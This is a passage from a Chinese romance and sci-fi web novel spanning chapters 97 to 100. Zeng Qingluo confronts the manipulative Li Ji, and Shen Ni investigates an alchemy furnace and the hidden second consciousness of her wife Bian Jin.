她正在和多次犯境的敌国女帝秦无商交谈甚欢。
李极:……
贺兰濯不是说已经催眠了,无法投放出来了?
李极气得发笑。
她才刚刚在人前露面,这个视频会让裴寂的声望跌至谷底。
这么多年的经营白费不说,更不可能与安王的名字联系在一起了。
余光里,隔壁阳台上站着两个人。
是沈逆和边烬。
那阳台和她们有段距离,不过这点距离边烬要过来,恐怕一眨眼的工夫都不用。
沈逆手中拿着戒棍,转了转后指向李极。
沈逆和边烬给她们俩私下谈判的空间,也在保护着曾倾洛的安全。
李极冷哼一声道:“天才机械师好厉害啊,但是这种视频谁不会做呢?这种视频一天做一百条都没问题。”
曾倾洛:“你觉得李渃元得到这条视频,还会让你有翻身的机会?她一定会第一时间以叛国罪直接弄死你。”
曾倾洛有备而来,她知道李极会说什么,也知道她惧怕什么。
李渃元一直没有直接向李极下手,忌惮她未知的军力是一,杀伐无名也是一。
手足相残,放在任何一个时代,都足以被冠上“暴君”二字,沦为后世谈资。
李渃元在意名声,一直在寻找最合适的机会。
饶是耐心的猎人,恐怕也等得很焦躁了。
她一定不会错过李极这个破绽。
当然,这段投影也没有直接送给李渃元。
安王若是倒台,将会大大助长李渃元的气焰,三方鼎立制衡的局面便会崩塌,对靖安侯府而言不是好事。
师姐们和曾倾洛聊过,不到万不得已不外传。
当做拿捏安王的重要武器。
李极沉默着,这个话题很危险,她不想继续。
李极转移对话的重点,暼了沈逆和边烬一眼,问曾倾洛:“所以,你是怎么认识那两人的?”
“别装了,你早就知道我是双极楼外门弟子,她们是我师姐。你最早开始接触我,不就是想催眠我,好让我为你所用,从我这儿套取更多她们的信息吗?”
李极道:“我已经说过了,咱们是萍水相……”
“卖我假药的人可不是这么说的。”
曾倾洛再播放一段投影。
还是她记忆模块里的影像。
影像中,一个男人鼻血横流,抱着脑袋蹲墙角,一个劲求饶。
“别打了别打了!我也不想卖假药给你,是有个男人给了我一百两银子,非让我这么做,原因我也不知道啊!”
曾倾洛道:“是这个男人吗?”
她拿出一张康逸的照片。
“没错!就是他!”
投影中断在此处。
曾倾洛:“卖假药给我,再假装提醒我,故意做局接近我,还说是萍水相逢?那夜在酒肆骚扰你的光头男人恐怕也是你安排的吧。别说这件事是你手下擅自做主,你完全不知晓。这种话说出来我只会怀疑你的智商。所以……”
曾倾洛一直看着别处的眼睛,蓦然投向李极。
“在护城河的初遇,你也是别有目的。”
李极没有回答她这个问题。
李极:“原来你今日是来威胁我的,那你想要我这儿得到什么?银子?权力?还是再胁迫我做点什么?”
曾倾洛:“别把人想得和你一样恶心。以后不许出现在我面前,你欺骗过我,我挟持过你,也算还回来了。从此以后咱们两清。你若再对靖安侯府不利,我一定要你的命。”
听到“两清”这个词,李极眼皮不自觉地抽动着。
曾倾洛走到她面前,隔着半个人的距离,沉声道:
“别想试图暗中使坏,但凡我受到一点伤害,这个视频就会立刻送到李渃元手里。”
李极:“谁知道你仇家还有谁。若是别人伤了你呢?”
“那也算在你头上。”
李极眼眶和她眼中的血丝一样红。
“曾倾洛……”
曾倾洛完全不想听她再说什么,直接转开了眼眸。
态度非常强硬。
被曾倾洛拿捏的这一刻,李极心被前所未有的浪潮吞噬。
仿佛置身在那副浓黑的画卷里,唯有那一点的彩光在催动无法压抑的心悸。
曾倾洛打开门,抬头直视着康逸:“让开。”
康逸望着李极沉默的背影,只能让开。
曾倾洛离开了阳台,沈逆和边烬也跟了出去。
沈逆对边烬道:“你有没有发现,小倾洛面对李极的时候很强势,强势得不像她。”.
走到一处偏僻的展厅,曾倾洛终于将胸口里那股让她战栗的气纾解出来。
手脚冰凉头皮发麻,刚才她一直在死撑,强迫自己不能在李极面前表现出一点怯意。
曾倾洛深深吸气,再呼出。
想要真正长大,想要在这弱肉强食的世界里活下去,就必须要迈过李极这道坎。
努力调整着呼吸,将浑身的冰冷融化,身子回暖了。
抬眸,发现自己所处的小偏厅里刚离开一波人,此刻只有她自己。
四面墙上全是裴寂的字和画,正前方的画中,纤长漂亮的女人手握住了一只想要展翅逃离的小雀。
这幅画和裴寂其他的画都不相似。
其他的画都是抽象的,裴寂擅长用大块大块的色彩或留白来展现浓郁又压抑的情绪。
这幅画不是。
这幅画一气呵成,画功尽显,欲.望鲜明。
无法否认,裴寂的画很吸引她。
看着这幅画时,仿佛自己也被那只手握住。
小雀分明没有表情,却传递着诱人堕落的情绪。
李极不知何时出现她身后,在她耳畔道:
“其实你看得懂我的画,对不对?”
曾倾洛浑身鸡皮疙瘩战栗。
还没来得及回头,脖子被李极一口咬住。
曾倾洛:“你!”
颤抖的咬合感绞着皮肉,剧痛之下曾倾洛用力挣开李极,退后几步拉开距离,摸了一下脖子,两圈鲜红的牙印留在曾倾洛的脖子上,鲜血淋漓。
曾倾洛难以置信,李极那般高傲的人居然会做这样的事。
李极唇上还沾着曾倾洛的血,颞颥上一道浮起的青筋若隐若现。
这一口发了狠,是无计可施之下的丧心病狂,咬得曾倾洛皮开肉绽,她自己的下颌也酸软无力,却还在笑。
沈逆和边烬就在李极身后,曾倾洛用眼神示意她们先别出手,她要自己解决。
李极走近她,双眼眨都不眨。
“想跟我两清?做梦呢……没那么容易两清,我们俩这才刚刚开始。”
李极靠得太近,超出了安全范围,曾倾洛感觉心跳得异常,忽然意识到是不是李极又在暗中释放精神力。
曾倾洛陡然钳制住她的胳膊,一扭,将她摁到墙上,用力抵着。
精神天赋者在气力上怎么可能和战斗天赋者抗衡。
而李极毫不反抗。
康逸和繁之就要上前,被李极用眼神制止。
曾倾洛心跳得难受,手里也使上了全力。
“我可以现在就杀了你。”
李极脸贴着冰冷的,带着灰尘的墙面,笑还没停,病态中带着真实的快意。
“是么,那你耳朵为什么红了?你是可以杀了我,但你舍得杀了裴寂吗?”
李极的话精准地刺中了曾倾洛内心深处某个模糊的地带,溢出让她意外的情绪。
意外的是,她本人都不确定的思绪,李极一语中的。
她很喜欢裴寂的作品,从裴寂刚刚出名的时候就喜欢。
没跟任何人说过,因为她觉得自己此生都不会和裴寂这样的大师有交集。
当时也仅限于对作品的倾慕。
所以,在和裴寂初遇时,即便心头疑惑重重,依旧抵挡不住来自崇敬之人的诱惑,深陷其中,轻易交付了自己。
而在她发现自己被欺骗被利用之后,厌恶此人的情绪也在爆发般反弹。
可在内心最深处,始终无法将卑劣的李极和风雅颖异的裴寂联系在一起。
她们就像两个人。
曾倾洛对裴寂的才华倾慕不已,这件事也一直都藏着,没有让李极知道。
她是如何察觉的?
但……
无论她是怎么察觉的,李极和裴寂终究是同一个人,无法切割。
不愿再做口舌之争,曾倾洛用力一推,将她放开。
血浸湿她的衣襟,疼痛感一跳一跳的。
曾倾洛不再看李极那着了火的双眸,转身离开。
康逸和繁之立刻上来查看李极的伤,沈逆和边烬则挡护着曾倾洛。
“曾倾洛。”
李极的目光透过缝隙,精准地落在曾倾洛被咬的伤口上。
“告诉你一件事。刚才我没有用精神力。”
曾倾洛的脚步微顿。
李极:“你的心跳为什么还那么快呢?”
第98章
之后的好几日,李极下巴痛得吃不了东西,连张嘴喝水都很困难。
肉眼可见,日渐消瘦。
睡不着的夜里,她除了写字涂画,便是望着手腕上曾倾洛握出来的红痕发呆。
一再重温记忆模块里的影像。
把那年轻女人身上的所有细节都刻在脑子里。
重温时有多燥热,回到现实就有多空虚。
午夜。
贺兰濯睡不着觉,在第五阙怀里塞了个抱枕代替自己后,去帝国客栈通宵营业的酒肆喝酒。
酒肆的位置很好,大大的露天阳台夜风长长。
还能看到楼下花园园景。
贺兰濯喝着酒,看繁之带了个风姿绰约的女郎进来。
不用说,自然是上了顶层。
不到半个时辰,那女郎就气急败坏地下楼,和繁之争执着什么。
繁之丢给她一个钱袋,她便不再多说,离开了帝国客栈。
贺兰濯抿着苹果酒,好笑。
个人展上和曾倾洛那场狭路相逢,贺兰濯也在现场。
毕竟是要用精神力来控制民众,她这个高等级的精神天赋者怎么可能不被唤去干活?
她一直都在隐蔽的角落里,不过没真出力,只喝现场提供的酒,半点精神力都没出。
李极在曾倾洛面前的失控,她也都看在眼里。
乐不可支。
这位女郎被带入顶层,自然是为了排解李极的寂寞芳心。
这么快被驱赶出来,还气急败坏的,是不是又被李极骂了“丑八怪”?
无论如何,这一夜贺兰濯心情好得很。
在第五阙醒来之前,她又去排队买第五阙喜欢的朝食,回来时床上的人嗯嗯啊啊的困到起不来床,热乎乎软绵绵,发量惊人的脑袋还毛茸茸的,手感特别好。
贺兰濯吻醒她。
第五阙抱着她,用下巴蹭她的锁骨。
“怎么感觉你很开心?”
贺兰濯:“不好?”
“好,当然好。”
两人在餐桌边一同用餐,用完餐第五阙将人抱上餐桌,吃点更好吃的。
虽然不知道最近贺兰濯为什么心情很好的样子,不过连带着她也吃香的喝辣的,第五阙自然乐意。
……
李极暂时收敛了对曾倾洛疯狂报复的心思,师姐们也没让曾倾洛再回出租屋。
边烬:“现在是暂时控制住了李极,但此人性情诡异,什么时候会铤而走险谁也不知道。放你在外面独居我不安心。”
沈逆当然是无条件支持边烬的决定。
“这侯府没什么趣味,唯一的优点就是够大够结实,护院也算忠心。卧房你随便选,喜欢住哪儿我就让万姑姑给你收拾去。”
曾倾洛知道师姐们疼自己,没再推拒,乖乖住下。
边烬为她选了选了四名女护院。
一个C级精神天赋,一个A级机械天赋,还有两个A级战斗天赋,算是能力很平衡的小队,性格也沉稳可靠。
四人一组,以后专门负责曾倾洛的安危。
暂时摆脱了李极的纠缠,曾倾洛能出门了,边烬带着她去市集逛逛,采买了一堆东西。
曾倾洛面上挂着笑,还和边烬说了不少以前师门的事。
但她没有真正开怀,边烬都看在眼里.
李渃元连续十日没有早朝。
这对于勤政的她而言相当奇怪。
李渃元异常的举动让沈逆好奇。黑了几个朝中重臣,一边吃着油炸地豆,一边调取他们最近的记忆模块,想从中得到些消息。
屏开一些辣眼睛的视频,最后得到让人震惊的结论。
最近居然无一人见过李渃元。
李渃元这是怎么了。
大明宫的系统坚固,和最高研发署有一拼,不好黑。
沈逆思来想去,索性在暗网上散播李渃元已经驾崩的假消息。
果然,第二日李渃元就召开朝会,出现在群臣面前。
沈逆当然不能错过这大好机会。
从来能赖朝会就赖的靖安侯,这日破天荒起了个大早,一身绯袍现身含华殿,就为了亲眼瞧一瞧李渃元的状态。
李渃元戴着平天冠,即便垂落的十二旒挡住了她一大半张脸,沈逆依旧能看得出李渃元形容枯槁,心事重重。原本就瘦小的身子又瘦了一圈,量身定做的龙袍挂在她身上,空空荡荡。状态比前一次露面的时候憔悴了一大截。
没说几句话就散了朝,很明显这次露面是为了堵住悠悠众口。
告诉所有人,她还活着。
只是这状态堪忧。
看到李渃元这副模样,沈逆更加确信自己的猜测。
回府后,沈逆兴致勃勃地拉着边烬到工作室。
“我现在确信了,现于人前的天子就是个魔种。而这炼丹炉,就是用来修补魔种的重要手段!”
得到炼丹炉之后,沈逆被边烬拎着去炼体,又给自个儿升级,还在忙忙碌碌间把亲密度提升到了九十。即便这般繁忙,她也不忘每日抽出一点时间研究炼丹炉。
这炼丹炉到底是什么玩意,她太好奇了。
有炼丹炉,又有无脸女的残骸,沈逆做了一件极其大胆的事情。
她将无脸女的残骸投入到炼丹炉之中。
炼丹炉的具体用法并不复杂,身为双S级机械师,她很快就掌握了炼丹炉基本操作方法。
沈逆对边烬道:“你知道,在无脸女残骸投入炼丹炉的十二时辰后,发生了什么吗?”
边烬其实猜到了,但见沈逆神采飞扬的模样,便假装不知晓,好奇问她:
“发生什么了?”
沈逆将身边的炼丹炉打开,里面赫然是一颗无脸女的脑袋。
“它的脑袋被修复了,修复成被黑魔方拧乱之前的模样。这玩意果然是用来炼魔种的。”
边烬:“原来如此,出乎意料。”
沈逆见她嘴上说出乎意料,实则一点都不惊讶的样子。
“怎么觉得你一早就猜中了呢?”
边烬:“没有的。”
沈逆:……
果然早就猜中了,却假装不知晓来哄她,给她撑场面么。
师姐哄得这么生硬,也让她嘴角压不住笑意。
怎么回事啊,好开心。
沈逆的目光落在边烬的唇上,心思已经歪了,努力正回来,说正事儿。
沈逆道:“只用了十二个时辰就能修复无脸女的脑袋,若是有它相助,秦无商炼魔种之路恐怕会比现在顺利很多。难怪当初无脸女想夺走它。”
边烬冷哼一下,道:“恐怕秦无商现在炼魔种的技术,无法超越这炼丹炉。不然那个魔种怎么会没有脸,智力也有所缺失。”
边烬又道:“话说回来,炼丹炉若是用来炼魔种的,为什么会在李渃元手中?李渃元的天赋难道是机械?”
沈逆摇摇脑袋。
“不像。师姐你还记得吗?李渃元那倒霉的升级版飞天仪仗还是我给弄好的。但凡是机械师,就算是天子,自己用的载具也不可能让别人来打造。不说身为机械师对作品的掌控欲有多深,就是自己的仪仗内能被动手脚的地方有多少,没人比机械师更清楚。除非万不得已,不会想假借他人之手。何况还是李渃元这等身份。”
边烬在心里重复了一遍“机械师对作品的掌控欲”这几个字。
难免想起这几次做那种事,沈逆总喜欢蹭她腰上的接插口,有时候还会轻咬。
在沈逆心中,她是不是也是“作品”?
是否也有掌控欲?
“……无论是家族遗传,还是她自己的行为轨迹,我都觉得李渃元不该是机械师。”
边烬从略略走神中回来。
难以置信……她居然在和沈逆谈论严肃问题的时候,脑海里不由自主冒出那些画面……
沈逆继续在说:“所以我觉得这炼丹炉应该不是她造的,但很有可能是给她用的。”
边烬接她的话:“秦无商的师姐曾经是唐Pro帝国的国师,以秦无商的年龄推测,她师姐当任国师的时候,天子应该就是李渃元。秦无商是机械师,她师姐会不会也是?炼丹炉是否与她有关?”
沈逆双眸一亮。
“零碎的线索串起来了。”
炼丹炉或许出自秦无商师姐之手,最初的用处就是为身体虚弱的李渃元打造魔种,以备不时之需。
秦无商的师姐现在在何处暂不可知,很有可能是她带着年幼的秦无商去了国外,之后建立了对唐Pro满怀恨意且不断在边境滋事的弦昼国。
这么说起来,秦无商一直很活跃,但她这位师姐仿佛销声匿迹了。
而且秦无商的魔种身上穿的那件紫色的官袍,不正是以前帝国国师所穿的服制么?
她师姐曾为国师,如今她穿着国师的官服,怎么看都像一种怀念。
沈逆有种推测,她师姐或许已经死了。
秦无商和她师姐的感情应该非常好,她和师姐流落国外,可能和李渃元有关。
不然秦无商为何这么憎恶唐Pro?先前大举进犯,现在依旧在耗费大量的资源,不断投放魔种潜入唐Pro的国境内,到处生事。
要知道练一个魔种出来,价格不菲。
沈逆估算,不说无脸女这种能量顶级的魔种,就是秦无商自己的魔种,恐怕也要耗费唐Pro帝国中一个大州一整年的税银。对弦昼这样的小国来说更是吃不消。
除了恨,恐怕没有别的情感能让人疯到这个地步,不死不休。
说回李渃元。
鲲鹏级异兽匆忙逃向最高研发署的那一夜,李渃元,或者说李渃元的魔种正在最高研发署,恐怕它是在用炼丹炉修复日益衰弱的身子。
那异兽为什么又会在深陷为难时,往李渃元的方向逃呢?
两人谈论到此处,彼此都没能再接后话。
思路堵在这儿了。
无论缘由为何,如今炼丹炉丢失,李渃元的魔种形销骨立,肯定得着急找炼丹炉。
现下不敢铺开大肆寻找,便是怕这炼丹炉的真相公布于世,让世人猜测这玩意的用途,那它是魔种的身份极有可能暴露。
总是要找的,李渃元的魔种恐怕还在找合适的借口。
至于隐藏在李渃元魔种身后的,是陌生人还是李渃元本人。
要是李渃元本人,她为什么不能出来见人?
这些都还是未知的。
眼下沈逆最关心一件事。
炼丹炉丢了,李渃元肯定不能善罢甘休,继续等待下去怕是死路一条。
恐怕她已经让韩复在暗处大肆搜寻。
台都搭好了,怎样才能让李渃元怀疑是秦无商夺走了炼丹炉,和秦无商对上线呢?
可愁怀沈逆了。
沈逆正愁眉不展,脑袋上落下一只温暖的手。
边烬安抚她:“暂时想不出来也别为难自己,先放一放。”
沈逆轻转脑袋,得寸进尺地顶着边烬的掌心。
像她梦境里的小菌菇。
边烬被她蹭得发痒,目光对视间,还在沉默,眼眸已经渐渐沦陷。
不用开口,已经什么都不用说,沈逆知道边烬想要。
她想要唇齿相缠,想要沈逆细致地品尝她。
沈逆发现边烬已经沉溺了。
以前要沈逆主动讨要,要用尽各种方法挑逗。
而现在,有连理模块传递着情意,边烬那些羞于开口的言不由衷,都无需开口。
吻弄间,边烬竭力自控的模样很快被打碎。
忍到极致,声还未出,水痕已漫过沈逆的指骨。
……
从工作室到寝屋,发现情意盒已满,止不住又相缠。
两人浑身热汗,沈逆疼惜地吻她红肿的唇。
满床狼藉,边烬有点无法面对自己弄出的痕迹。
沈逆不让她看,推她去沐浴,待她沐浴回来后床单已经换了。
清清爽爽相拥入睡。
睡着前沈逆还过来撒娇,轻轻咬边烬的脖子。
像爱透了主人的小宠。
边烬就让她咬着,轻笑,不知想到什么,又用力抱她。
沈逆能感受到今夜师姐对她格外渴求。
的确……
有些姿势她都在沉默中答应了。
沈逆喜欢她喜欢得有点不知如何是好,即便到了今日,想到正在和师姐亲密,依旧会有一瞬间的恍然。
咬咬她脖子咬咬她肩膀,咬着咬着最后在她怀里睡着了。
……
不知什么时辰,沈逆感觉身边空空的,意识深处一丝慌张冒了头。
忽然醒转。
床上果然只有她一人,边烬不在。
还有余温,边烬离开的时间应该不长。
沈逆忽然想到一事,立即警觉地屏住气息,无声地转身,看见不远处有人坐在案几边。
是边烬。
边烬正背对着与她,没有掌灯,埋在黑暗里正在与谁线上对话。
敲着虚拟键盘,不发出一点声响,活像只幽灵。
很奇怪,即便没直接对上一句话,甚至没看到正脸,明明是边烬,沈逆却觉得眼前是另一个人。
沈逆挪了一下身子,看到边烬对话里的一点点词语。
“失控”“黑魔方”“进度”,甚至还有“星河铬素”。
沈逆还想再看时,边烬突然退出了聊天,依旧背对着她道:
“何时醒的?”
四个字,字字散发着寒意。
沈逆被冻得心头一沉,与此同时,边烬回眸。
一模一样的脸上没做任何表情,脖子上还有先前亲密时留下的咬痕。
可沈逆就是知道这不是入睡前抱着的那个人。
她的眼眸非常平静,明明只是坐在那儿,却让人觉得无处可逃。
眼前的边烬比沈逆熟悉的师姐要多了一些什么,沉淀了一些什么,沈逆能感受到细微的、不知名的区别。
边烬平声道:“有些事要忙,你先睡。”
沈逆:“安全词。”
边烬本来要转回去的脸,因为沈逆的话幽幽地转回来。
四目相对,仿佛被不知名的恐怖生物凝视,沈逆额头上出了一丝冷汗。
这是师姐的另一个意识在从容不迫地伪装师姐,她很确定。
只是,为什么潜藏在边烬床下的警报没有响?
一个答案乍然浮现在沈逆心头之时,边烬已经走到她面前,居高临下望着她,目光安静地落在她的脸庞上,似乎在观察着什么,琢磨着什么。
也像在思考,从哪个角度先发制人,轻易杀死眼前多疑的碍事者。
“安全词。”
沈逆又问了一遍。
与此同时也在转移对方的注意力,打算暗中启动手臂机械外骨骼。
“水晶球。”
出乎意料,眼前人薄唇轻启,说出了这三个字。
的确是先前她和师姐约定的安全词。
沈逆目光凝住了,极短的迟疑下,外骨骼没能启动,手臂忽然被紧紧扣住,蓦然往后倒去,整个人被强行压制在床面上。
沈逆双腕被制在脸边,床如砧板。
失去对身体的控制,沈逆心头闪过一阵发凉的恐慌。
本以为性命堪忧,没想到下一刻,身上人伏下来顶开她的唇齿,猛然吻进来,带着不知从何而来的气恼般,搅到沈逆口中深处。
沈逆呼吸一滞。
这吻法,和最近师姐接吻方式一模一样……
只是更凶。
汹涌的占有欲快要让沈逆喘不上气。
分明是师姐身子,可行事作风又不像师姐。
像在被陌生人强迫激吻。
沈逆被她吻得心脏咚咚地跳。
挣扎了半道,又被毫不容情地制回来,惩罚般弄的更狠。
另一个意识在用边烬的身体对她做这种事,力量悬殊,完全无力反抗。
被托着臀抱起来时,边烬的手从她后颈往上捋,揉入她发丝里,折起她的长发,露出已经被热意染得绯红的脖子,紧紧压着她的脑袋,吻得好深,不给她一丝逃离的机会。
像宣泄,更像不知名的报复。
沈逆心里忐忑地抗拒着,身体却已经完全被征服。
吻她的人正在无声地生气,好像压抑了很久,在夺回本该属于自己的一切。
忽然,沈逆听见抱她的人用怀念又悲凉的口吻,低低地唤了一声“阿摇”。
这是沈逆许久未被叫起的小名。
沈逆后脊一僵,原本已经被吻至失焦的眼神骤然凝聚。
果然如沈逆所想。
在边烬身体里的另一个意识,也是她本人。
第99章
阿摇……
沈逆像被拖到一艘摇曳的船上,视野、身体、思绪,一切都在摇晃。
想开口,满心的疑问想问眼前人,却被凶狠的吻堵回。
她不想让沈逆说话,不同意她提问,以吻缄言。
头晕目眩,口干舌燥,神魂都被掠夺。
沈逆想逃,被搂着腰强行抱回来,箍在怀里。
一只胳膊紧紧锁住了沈逆的动作,另一只手则扣住她的下巴。
脸被身后人掰回去吻。
腰好痛唇好烫,浑身都在沸腾地叫嚣。
快要窒息前,沈逆断断续续地求饶。
忽然能呼吸了,深吸一口气,乍然睁开眼。
睡在她身侧的边烬本来还未醒,被她这一声惊醒,立即警惕地起身。
“怎么了?”
这双眼,和昨夜几乎要将她腰箍断的那双眼睛重叠,惧意让沈逆生生往后躲了一下。
边烬没想到她会躲自己,猜测道:
“做噩梦了么?别怕,是我。”
边烬耐心又温柔的安抚,让沈逆后背的冷汗渐渐消了些。
恍惚间真以为昨夜的遭遇是噩梦。
可唇上干痛发肿,这是激烈接吻过久导致的。
嘴角也有点痛感。
想到此处,沈逆微微别开脸。
晨间屋内没有点灯,昏暗掩护着异样的细节。
与此同时,沈逆在被子里的手暗暗压了一下腰间,皮肉果然有隐痛。
不是梦。
昨晚师姐的另一个意识出现了。
不仅出现,她还和那个意识做了一些事,做到失控。
昨夜就在这张床上,“师姐”从压着她再到抱着她,用她最喜欢的姿势,将她的唇舌口齿,脖子肩头全都侵占了一遍。
若是现在将寝衣掀开,估计会看到可怖的痕迹。
最后沈逆竟是被吻晕了。
好粗暴的手法,和当年打她十鞭子的感觉相似,又有点不同。
沈逆心口发热,又是说不上的心虚。
仿佛真像和边烬之外的人有染。
可她确定,另一个意识也是边烬,百分百是她。
沈逆不会认错,无论是贞观廿二年的边烬,还是今年之前的她。
那一声“阿摇”的语气,和字里行间读音的连接和转换,沈逆听过无数遍,也曾回味过无数遍,记得一清二楚,旁人说不出那分毫不差的韵味。
所以……
这件事变得玄妙了。
眼前的师姐是与她成了亲,共同经历了贞观廿二年的深冬与早春,一同步入盛夏的师姐。清冷之心已在她的蓄意靠近和呵护下草长莺飞。
而昨晚的师姐,那气质和萦绕周身的氛围,沈逆猜测,她是停留在两人重逢前的师姐。
或许,还带着那三年未知的记忆。
与眼前这个被爱意浸染的边烬相比,那个师姐明显更冰冷,更强势逼人。不知因何而生的压迫感,更让人心惊胆战。仿佛独自走过极其漫长的夜路,满身藏霜,一言不发。
只能从她灼人眼眸和贪婪的臂弯中,察觉到她沉淀在心里不为人知的一点点情绪。
她是沈逆记忆里独守师门,万事往心里藏的双极楼大师姐。
这样形容很奇怪,可这“两人”的区别显而易见。
昨夜另一个意识的师姐,内心带着沈逆能清晰感知的高压。
比眼前的师姐沉默,厚重,而危险。
那份压力让沈逆害怕之余,心上又无法控制地漫过酸涩的溪流,忍不住想要纵容她,让她得到她想要的。
所以昨夜她对沈逆做任何事,沈逆都没有半点反抗。
……
犹记昨夜夜半醒来时,看到那个师姐正和未知者联系。
当时她身子挡住了大半的屏幕,沈逆只看到了四个词。
失控、黑魔方、进度,甚至还有星河铬素。
心头一紧。
把这个师姐先前时不时出现时的所作所为串成一线。
沈逆不安地意识到,身体里藏着另一个意识是师姐自己的事,不能跟眼前的师姐说。
而且,知道安全词的另一个师姐,和眼前的师姐记忆必定是单方面相通的。
那个师姐知晓一切,而眼前的师姐甚至不知道她是谁。
此刻另一个师姐一定通过师姐的眼睛,凝视着她们。
另一个师姐的目的究竟为何,暂不可知,不过能确定的是,她在下一场大棋。
沈逆本人,甚至是眼前丢失了记忆的她自己,都是她手中的棋子。
在得知真相前,沈逆不打算轻举妄动。
沈逆思绪飞转,露出疲倦的笑容,对边烬道:
“昨晚,好像做了些乱七八糟的梦……有点不舒服。”
边烬温柔地抚了抚她的后脑勺。
“是不是最近进入我的梦境世界太频繁了?别着急,歇几日吧,我不想累着你。”
沈逆“唔”了一声。
她说了谎,可师姐还这么为她着想,多少有点内疚。
可是,现在要是捅破这层窗户纸,只怕那个师姐一直谋划的事要前功尽弃。
沈逆不确定此事牵连会有多广,师姐布局又有多深,不好冒险。
暂时先观察。
那个师姐会出现一次,就会出现第二次。
等她再现身,沈逆一定不让她吻,嘴得留下来说话。
边烬起床洗漱更衣,见沈逆还坐在床上不动,拿营养液给她。
沈逆强撑着精神,给自己灌了一整瓶营养液。
喝营养液的时候,余光里的边烬正安静地看着她。
那目光沉静内敛,只有沈逆能感觉到,注视中还有一份疑虑和审视。
毕竟是同一个人。
这个师姐也很敏感,很危险。
沈逆努力压抑着心跳,再这样跳下去,连理模块会到这个师姐那头打小报告的。
喝营养液时,沈逆回想了一下刚才自己的内心活动。
感觉叫“这个师姐”或是“那个师姐”的,不太好听。
既然都是师姐,那就叫“边师姐”和“烬师姐”吧。
昨晚欺负她的师姐凶凶的,不想她开口问话就把她亲晕过去,这般霸道,就叫边师姐好了。
眼前的师姐疼她又会宠她,温柔多了,就叫烬师姐。
分配好两个名字,沈逆心头还有点热。边烬说要去兰台,她也打算去城防兜一圈,好让脑子降降温.
初夏那会儿开始,城防推进速度前所未有的快。
原本以为第一阶段落地起码要到年尾,没想到眼看秋季将至,已经快要完成了。
有阵子没见李煽,今日一见,险些没认出来。
李煽整个人瘦了一大圈,一边猛咳一边还在现场指挥调拨。
沈逆下意识去看她的手。
李煽手压在手帕上,捂着嘴,咳完之后随意看了眼手帕,颇为心烦地折起手帕,塞到挂在蹀躞带上的小包里。
整个流程很自然,像是会用手的样子。
李煽应该不是魔种,那就是真的病了。
今日日头很辣,李煽不放心她昂贵的材料,生怕被贪墨了,硬是跟来盯了一上午,确认所有材料到用在城防上。
一早上她都顶着盛夏的烈日,只喝了一瓶营养液。
沿着石阶往下走的时候忽然眼前发白,心里唤了声“糟糕”。
这几日她本来就咳喘不止,寝不安席,若再摔一下,后果不堪设想。
眼前白茫茫的什么都看不到,全世界只能听到自己的心跳。
等再能勉强视物,发现自己没有沿着陡峭的楼梯摔下去,而是坐在台阶上,胳膊被人拽着。
烈日当头,晒出李煽浑身的冷汗,一声“谢谢”卡在喉咙里,虚弱到说不出口。
等发白的视野终于回归正常,李煽艰难地抬眸,意外看到了沈逆。
沈逆递给她一瓶营养液。
李煽接过来,缓慢地喝完,用手背压了压头顶,刚刚说出一个“谢”字,忽然又是一阵猛咳。
沈逆见她后背咳得一直耸动,手慌忙在蹀躞带上寻找手绢,找了半天也没能摸到。
沈逆一抽,塞到她手中。
“不用谢,你帮我保守秘密,我拉你一把,算是扯平了。”
李煽捂着嘴,咳嗽渐渐平息。
再次看向沈逆。
这么热的天,这女人穿着绯袍头戴幞头,一身清清爽爽半点汗都没出,依旧是她心中的冰壶秋月,冷泠泠的。
李煽知道她说的保守秘密是什么。
沈逆想要进最高研发署的禁区,还趁她喝醉复制了她的权限,故意留下复制的痕迹,大大方方让她明白是谁所为。
想让她憎恶罢了。
李煽发现后,只觉得可笑。
可惜啊,她也没有进入禁区的权限,沈逆把她看得太重要了。
遗憾的是她毫无用处。
连憎恶的立场都没有。
之后最高研发署走水,禁区被破,李煽没有道理不知晓。
联系她权限复制的事儿,沈逆的嫌疑自然是最大的。
迄今为止李渃元也没有来找沈逆麻烦,说明李煽没有向李渃元揭发她。
此处只有她们两人。
比风还沉默。
远处阴云之下拔地而起的城防已然看不到头,坚硬、磅礴而壮阔。像一只钢铁之手,护住了脆弱的古都。
李煽知道这宏伟的工程有朝一日会救下无数人。
而这一切,该归功于谁。
喉咙里全是火辣的血腥味,肺部像被热油烹过。
李煽声音也变了。
从前如玉石般清脆,如今沙哑干涸。
“所有的天赋,都需要漫长刻苦的修行,才有觉醒的可能……沈逆,你为何想觉醒天赋?”
以前倒是没有人问过沈逆这个问题。
即便没人问过,她回答得也很快,无需思考。
“想让我在意的人称心如意。”
李煽长叹一声,第一次不顾形象靠在石阶上。
疲倦发痛的肢体肆意舒展,骄阳洒在没有血色的脸庞上,很快蒸发了眼泪。
“这也是我毕生所求。和你不同的是,你能做到,而我,恐怕无能为力了。”
……
曾倾洛重回工程司,这是边烬的要求。
曾倾洛没说她和李极具体发生了什么,可画坊里她俩那憎恨中又带着扭曲的微妙情感,明眼人都能感受得到。
边烬不想再让她在外捕杀异兽。
异兽本来就够危险的了,碰到坏女人更危险。
回到工程司有沈逆照看,边烬能安心些。
大师姐发话,曾倾洛没法反驳,只能乖乖回来。
沈逆回到工程司的时候,曾倾洛正在查看工程进度,惊讶地跟沈逆道:
“总监事,第一阶段功能基本完工,查漏补缺再测试之后,就可以开始验收了。好快。”
是啊,沈逆想,永王本人不要命地扎在现场监督,自然快。
回府的时候正好赶上一场急雨。
大颗大颗的雨水打在车顶,闷响接连不断。
沈逆的指尖缓缓敲在闭合的窗沿边。
一下,一下。
细微的线索如烟如雾,一缕缕缠在沈逆心头。
现实宛若边烬的梦境世界,剥开一层还有一层。
一层深过一层。
……
沈逆连轴转了一整日,回到侯府的时候已经很晚了。
轻轻推门进屋,见边烬坐在案前梳头。
鎏金牡丹纹梳篦划过发丝,长发如瀑。
边烬淡淡看了沈逆一眼,收回,没开口。
沈逆心跳漏了半拍。
没有任何交流,只是一个眼神沈逆便知,这不是她的结发妻子,而是边师姐。
沈逆反手将屋门合上:“是你么?”
她不言不语,专心梳理。
这便是回答了。
沈逆跽坐到她面前,双臂撑在腿上,心跳还有些过速。
她凝视着师姐垂下的眼眸,问:
“师姐,封印那三年记忆的人,是你自己吗?”
第100章
“师姐,封印那三年记忆的人,是你自己吗?”
问题问出去之后,天不怕地不怕的沈逆感觉自己正在做一件前所未有的大事儿,心跳咚咚地跳,脊背紧绷,掌心里微微渗出些薄汗。
有点紧张,有点害怕。
和边师姐不太熟,不知道她会有什么反应,会做出什么事来。
